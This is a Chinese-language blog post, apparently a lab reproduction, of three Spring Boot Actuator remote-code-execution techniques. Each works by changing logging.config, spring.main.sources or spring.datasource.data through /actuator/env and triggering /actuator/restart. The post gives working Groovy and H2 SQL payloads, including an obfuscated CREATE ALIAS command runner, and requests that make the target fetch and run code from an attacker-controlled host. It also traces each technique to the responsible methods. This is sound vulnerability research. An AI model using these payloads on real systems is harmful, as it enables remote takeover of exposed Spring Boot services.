restart漏洞

restart logging.config groovy RCE

漏洞环境:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce

漏洞复现:

  1. python3 -m http.server 80 命令在 VPS 上开启 WEB 服务

  2. 编写 example.groovy 文件放到 VPS WEB 根目录下

    Runtime.getRuntime().exec('calc.exe')
    
  3. 访问 /actuator/env 接口改变 logging.config 属性值

    http://localhost:9098/actuator/restart
    application/json
    
    {"name":"logging.config","value":"http://192.168.43.141/example.groovy"}
    
  4. 访问 /actuator/restart 接口重启应用

漏洞原理:

通过访问 /actuator/env 接口改变 logging.config 属性值,然后访问 /actuator/restart 接口重启应用,这时会访问 logging.config 属性值执行的 URL 文件,这时会在 ch.qos.logback.classic.util.ContextInitializer#configureByResource 方法根据 URL 文件后缀为 groovy,最终会执行 groovy 代码

ContextInitializer#configureByResource:
image-20211210084001650
函数调用栈:
image-20211210084244692
注意点:

  1. 上传到 VPS 上的 example.groovy 文件不能是畸形 groovy 语法,否则服务器会异常退出
  2. 确保服务器导入了 groovy 依赖,否则服务器会异常退出

restart spring.main.sources groovy RCE

漏洞环境:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce

漏洞复现:

  1. python3 -m http.server 80 命令在 VPS 上开启 WEB 服务

  2. 编写 example.groovy 文件放到 VPS WEB 根目录下

    Runtime.getRuntime().exec('calc.exe')
    
  3. 访问 /actuator/env 接口改变 spring.main.sources 属性值

    http://localhost:9098/actuator/restart
    application/json
    
    {"name":"spring.main.sources","value":"http://192.168.43.141/example.groovy"}
    
  4. 访问 /actuator/restart 接口重启应用

漏洞原理:

通过访问 /actuator/env 接口改变 spring.main.sources 属性值,然后访问 /actuator/restart 接口重启应用,spring.main.sources 属性值对应着的是 ApplicationContext 的额外源地址,重启应用后会请求spring.main.sources 属性指向的 URL 地址,org.springframework.boot.BeanDefinitionLoader#load 方法会根据 URL 指向的文件的后缀为 groovy,会执行文件内容中的 groovy 代码

BeanDefinitionLoader#load:
image-20211210085638565
函数调用栈:
image-20211210085757501

restart spring.datasource.data h2 database RCE

漏洞环境:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce

漏洞复现:

  1. python3 -m http.server 80 在 VPS 上开启 WEB 服务

  2. 编写需要执行的 h2 sql 代码并上传至 VPS WEB 根目录

    CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('CMD','/C','calc');
    
  3. 访问 /actuator/env 接口改变 spring.datasource.data 属性值为 VPS 上恶意的 h2 sql 代码文件

    http://localhost:9098/actuator/env
    application/json
    
    {"name":"spring.datasource.data","value":"http://192.168.43.141/example.sql"}
    
  4. 访问 /actuator/restart 接口重启应用

    http://localhost:9098/actuator/restart
    application/json
    
    
    

漏洞原理:

访问 /actuator/env 接口改变 spring.datasource.data 属性值为 VPS 上恶意的 h2 sql 代码,然后访问 /actuator/restart 接口重启应用,在重启应用时会 调用org.springframework.boot.autoconfigure.DataSourceInitializer#runScripts 方法执行 h2 sql 代码,最终RCE

DataSourceInitializer#runScripts:
image-20211210091332816
函数调用栈:
image-20211210091400859
注意点和利用条件:

  1. VPS 上的 h2 sql 语法不能畸形,否则会导致程序异常退出
  2. 环境存在相关依赖(h2databasespring-boot-starter-data-jpa
  3. 没重启执行一次命令都需要把 VPS 上的 h2 sql 内容的函数名改一下

Reference:

https://github.com/colocup/SpringBootVulExploit

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值